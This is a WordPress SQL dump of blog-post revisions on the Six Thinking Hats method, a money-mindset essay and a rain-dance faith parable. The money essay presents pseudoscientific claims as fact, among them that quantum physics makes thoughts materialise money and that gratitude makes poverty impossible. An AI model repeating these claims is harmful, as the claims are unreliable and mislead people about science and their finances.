from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\nTry this technique out. We have a good deal of fun every time we use it.', 'Six Thinking hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-4', '', '', '2010-02-18 18:09:10', '2010-02-19 01:09:10', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision-4/', 0, 'revision', '', 0),
(679, 2, '2010-02-18 18:09:19', '2010-02-19 01:09:19', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="504" height="279" /></a>\r\n<h2><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nWe use the Thinking Hats technique in our group creative sessions when we are seeking to validate ideas. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a group problem solving session, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that follows. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\nTry this technique out. We have a good deal of fun every time we use it.', 'Six Thinking hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-5', '', '', '2010-02-18 18:09:19', '2010-02-19 01:09:19', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision-5/', 0, 'revision', '', 0),
(680, 2, '2010-02-18 18:10:02', '2010-02-19 01:10:02', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="458" height="253" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nWe use the Thinking Hats technique in our group creative sessions when we are seeking to validate ideas. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a group problem solving session, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that follows. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\nTry this technique out. We have a good deal of fun every time we use it.', 'Six Thinking hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-6', '', '', '2010-02-18 18:10:02', '2010-02-19 01:10:02', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision-6/', 0, 'revision', '', 0),
(681, 2, '2010-02-18 18:10:13', '2010-02-19 01:10:13', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="458" height="253" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nWe use the Thinking Hats technique in our group creative sessions when we are seeking to validate ideas. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a group problem solving session, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that follows. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\nTry this technique out. We have a good deal of fun every time we use it.', 'Six Thinking hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-7', '', '', '2010-02-18 18:10:13', '2010-02-19 01:10:13', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision-7/', 0, 'revision', '', 0),
(682, 2, '2010-12-27 16:23:51', '2010-12-27 23:23:51', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="412" height="228" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities to grow your business from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. </span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">For those who may not know, Edward de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill</span>.</span> I use the Thinking Hats technique at PULL. It ''s a useful tool to open us up when we are seeking to validate ideas with our clients. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a problem solving session with yourself or with a group of masterminds, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that will follow. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\n<strong>Try this technique out. We have a good deal of fun every time we use it. Share your results with us here.\r\n</strong>', 'Six Thinking Hats', 0, '', 'inherit', 'open', 'open', '', '673-autosave', '', '', '2010-12-27 16:23:51', '2010-12-27 23:23:51', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-autosave/', 0, 'revision', '', 0),
(683, 2, '2010-02-18 18:17:06', '2010-02-19 01:17:06', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="458" height="253" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities to grow your business from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nI use the Thinking Hats technique at PULL. It ''s a useful tool to open us up when we are seeking to validate ideas with our clients. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a  problem solving session with yourself in with a group of masterminds, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that will follow. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\nTry this technique out. We have a good deal of fun every time we use it.', 'Six Thinking hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-8', '', '', '2010-02-18 18:17:06', '2010-02-19 01:17:06', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision-8/', 0, 'revision', '', 0),
(684, 2, '2010-02-18 18:51:50', '2010-02-19 01:51:50', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="458" height="253" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities to grow your business from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nI use the Thinking Hats technique at PULL. It ''s a useful tool to open us up when we are seeking to validate ideas with our clients. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a  problem solving session with yourself in with a group of masterminds, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that will follow. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\nTry this technique out. We have a good deal of fun every time we use it.', 'Six Thinking Hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-9', '', '', '2010-02-18 18:51:50', '2010-02-19 01:51:50', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision-9/', 0, 'revision', '', 0),
(685, 2, '2010-02-28 14:35:38', '2010-02-28 21:35:38', '', 'money', 0, '', 'inherit', 'open', 'open', '', 'money', '', '', '2010-02-28 14:35:38', '2010-02-28 21:35:38', '', 24, 'http://www.whitehotcenter.com/wp-content/uploads/2008/08/money.gif', 0, 'attachment', 'image/gif', 0);
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(686, 2, '2009-08-03 15:24:22', '2009-08-03 22:24:22', '<h2><span style="color: #ff6600;">Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow into my scene has been restricted.</span></h2>\r\nAfter many years of doing nothing but earning Money in my business, I had seemingly lost my compass heading and began to drift aimlessly in my dilemma about Money.  In the life long process of earning Money, somewhere along the line, I got confused and blended my self worth with my net worth. Not good... The less money I created, the less I valued who I am in the world. I believed my influence to create what I desired in life was based in large part on my financial affluence.\r\n\r\nIn my year of blogging here at the WHC, I have not written a post about money. And in light of these so-called “hard times” we hear about now, the subject of money seems to be on everyone’s minds. OK, so let’s talk about money, money, and money!  What is it– really?  Why is it important?  How do we get and keep more of it?\r\n<h2><span style="color: #ff6600;">Let’s start with a prevalent misconception concerning money – many believe that money isn’t important. How many times have you been in conversation with a person who says ”money isn’t everything” or, “I’m not doing this or that for the money”, or “I don’t care about money”?  Well that’s bullshit. Money is important!</span></h2>\r\nAnother misconception is the belief that the acquisition of money is a result of good luck or favorable circumstances. More bullshit.  Money is an effect and, therefore, must be preceded by a cause– most notably passionate effort and disciplined action! There is no place in the universe where you can get something for nothing.\r\n\r\nAt a functional level, Money is a grand organizing principle in the physical world facilitating the basis of both mundane and complex transactions of value between human beings– no news there. Far more important, in my view, is the notion that Money is a powerful symbol and effect of creative thought… money is the exhaust that follows worthy ideas that add great value to people.\r\n<h2><span style="color: #ff6600;">It is important to love people, use money… and not get that in reverse.</span></h2>\r\nIndeed, Money is very important and not very well understood by most people. Look around; it’s easy see the global turmoil people create over money.  For an interesting point of view on Money, you might read Wallace Wattles'' <a href="http://www.certainway.com">"The Science of Getting Rich"</a>. Don''t let the title turn you off.  I know the internet is bloated with self-help-get rich quick crap... Written nearly a century ago, Wally offers some fascinating insight into unusual principals of money and wealth creation.\r\n\r\nEverybody wants to be rich, but so few of us really know what “real wealth” is. For most of my adult life, I had been clueless myself.  My beliefs about money, had determined the quality of my relationship with money. In my case, I knew how to create it, but struggled to keep and grow it. There’s an old saying in the investment world “money goes where it’s treated best”.\r\n<h2><span style="color: #ff6600;">Our thoughts and beliefs about money determine the direction and quantity of its flow. Money needs to believe we are a solid investment if it is to grow in our lives. And if we don’t believe we are a solid investment, why should Money?</span></h2>\r\nNot to get too deep into physics here, but everything in the universe is, at its basic form, energy. Energy is always coming in and out of form. Existence is literally floating in an ocean of energy. I like to call this “the goo”.  On the quantum level, this goo is a “thinking substance” essentially waves and particles, or formless potential.  Quantum physics further suggests what one desires to observe (a wave or particle) becomes what is observed. By now you are asking yourself “what’s this have to do with money”? Well, everything! What comes into physical form is determined by the thought energy one injects into the goo. When it comes to money, many people unconsciously put these thoughts into the goo:\r\n<ul>\r\n	<li>There’s never enough money.</li>\r\n	<li>Rich people have all the money.</li>\r\n	<li>You got to have money to make money.</li>\r\n	<li>I’m not good with money.</li>\r\n	<li>People with money are just plain lucky.</li>\r\n</ul>\r\nOur beliefs and paradigms about money are simply a reflection of the beliefs we have about ourselves. If we have programmed into our subconscious mind to believe we are not valuable, our ideas not worthy, our circumstances too impossible, money believes it too! Few of us pause to think deeply about this idea. What you think into the formless goo naturally comes into form as the circumstances of your life. How much or how little Money shows up in your life is a reflection of how much or how little you think about your value to others. You must begin to realize that the present state of your bank account, business, social life, relationships, health and well being is a physical manifestation of your previous state of mind.\r\n<h2><span style="color: #ff6600;">Your experience of poverty or abundance is a result of your thought.</span></h2>\r\nEveryone worries about money from time to time. I‘ve learned from my own personal experience worrying about the lack of money is the absolute guaranteed way to continue to experience having less of the stuff.  The higher truth is we are always surrounded by abundance. Nature knows no failure or lack of anything. If one is determined to create more money in life, one must begin to have greater awareness of the unseen forces that respond to our every thought.\r\n\r\n<strong>I would like to suggest that if you desire more money:</strong>\r\n<ul>\r\n	<li><strong>remember your life’s purpose– the reason you are here in the first place. Commit yourself to following that path by adding your gifts to the world.</strong></li>\r\n	<li><strong>create a magnificent vision – a clear mental image of what you want your life to look like. Write it down as your “ideal scene” and read it daily, hourly if necessary.</strong></li>\r\n	<li><strong>be in love with your worthy ideal, hold the image of it in your creative imagination.</strong></li>\r\n	<li><strong>make a plan, set some goals and take daily action toward the realization of the clear mental image of your vision.</strong></li>\r\n	<li><strong>never allow the evidence of your current circumstances in the physical world to overpower your belief  that what you desire is on its way to you.</strong></li>\r\n</ul>\r\nIf you really take the time to think this through, (as I did) you will begin to realize that everything in the physical world was at one time a formless thought–an idea. All accomplishment in life begins with a worthy ideal– a formless idea.  We would not have air travel if flight were not first an idea in the minds of the Wright Brothers. Apple would not exist if it were not a formless clear mental image in Steve Jobs mind. And so it is with you and your worthy ideal.  Visualize the Money you desire and feel yourself in possession of it now. This is not merely a mental exercise, but a powerful tool for you to use in the creative process of bringing into form a worthy idea that adds great value to people. Indeed, one must always provide greater use value than is received in cash value if you want to experience being a powerful money magnet.\r\n<h2><span style="color: #ff6600;">Exact laws of creation govern the universe–and so it is with the creation of money.</span></h2>\r\nAnd one more very important key to creating money– regardless of how much is currently noted on your bank statement, be grateful! Whatever that amount, it could be less or none at all… be grateful for everything in your life. It is impossible to experience poverty, lack and limitation when your thoughts are laser-focused on gratitude.\r\n\r\n<strong>Money in and of itself never made anyone happy and fulfilled… just more comfortable. Money is to be used, circulated, released, and never hoarded. Money is a servant and you are its master.</strong>', 'Money, money, money!', 0, 'Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow...\r\n', 'inherit', 'open', 'open', '', '24-revision-7', '', '', '2009-08-03 15:24:22', '2009-08-03 22:24:22', '', 24, 'http://www.whitehotcenter.com/2009/08/03/24-revision-7/', 0, 'revision', '', 0),
(689, 2, '2010-03-11 08:06:59', '2010-03-11 15:06:59', '<h2><span style="color: #ff6600;"><img class="alignleft size-full wp-image-687" title="indiian" src="http://whc.fbdev.org/wp-content/uploads/2007/10/indiian.gif" alt="indiian" width="478" height="443" />Here’s a great story about a tribe of American Indians, who never failed to make it rain when they would do their rain dance.  Every time, 100%, when they danced, it rained!  The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple– this particular tribe never stopped dancing.</span></h2>\r\nThink about that…they never stopped dancing until it rained! That''s faith in it''s most compelling form... Faith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want… so they danced!\r\n\r\nFaith is vitally important to every result of being, doing and having.  We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.  It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. It''s just a matter of time.\r\n\r\nEverything in nature has a gestation or incubation period.  You commonly know this principal from the human pregnancy which has a gestation period of 280 days. This is the known period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.\r\n<h2><span style="color: #ff6600;">Unlike elephants or humans, ideas take their own sweet time to be born into the physical realm. Many people quit dancing for the fulfillment of their ideas before it is time, their faith and expectation of receiving it expired.\r\n</span></h2>\r\nThey give up too early and are not aware that the time necessary for manifestation simply hadn''t past yet.  Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say "Where’s the baby?!?!".  Of course not, that would be ridiculous.\r\n\r\nMany of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, doubt sets in and we say "Where is the result?",  or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!  Frequently, the gestation period on an big idea, dream or desire is longer than the anticipated time most people are willing to invest in it.  As a result, they give up… and “guarantee” a result– it’s just not the one they wanted, but it is the one they created.\r\n\r\nNever give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience... let it pour!\r\n\r\nSo, the story of the dancing tribe of Indians illustrates perfectly how faith, and belief will work for you in creating what you want in life. Results are guaranteed.  The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, but the rains always, eventually come.\r\n\r\n<strong>What are you dancing for and what does your rain look like? </strong>\r\n\r\n<strong> Enjoy the dance!</strong>', 'Rain Dancing', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\r\n', 'inherit', 'open', 'open', '', '29-revision-7', '', '', '2010-03-11 08:06:59', '2010-03-11 15:06:59', '', 29, 'http://www.whitehotcenter.com/2010/03/11/29-revision-7/', 0, 'revision', '', 0),
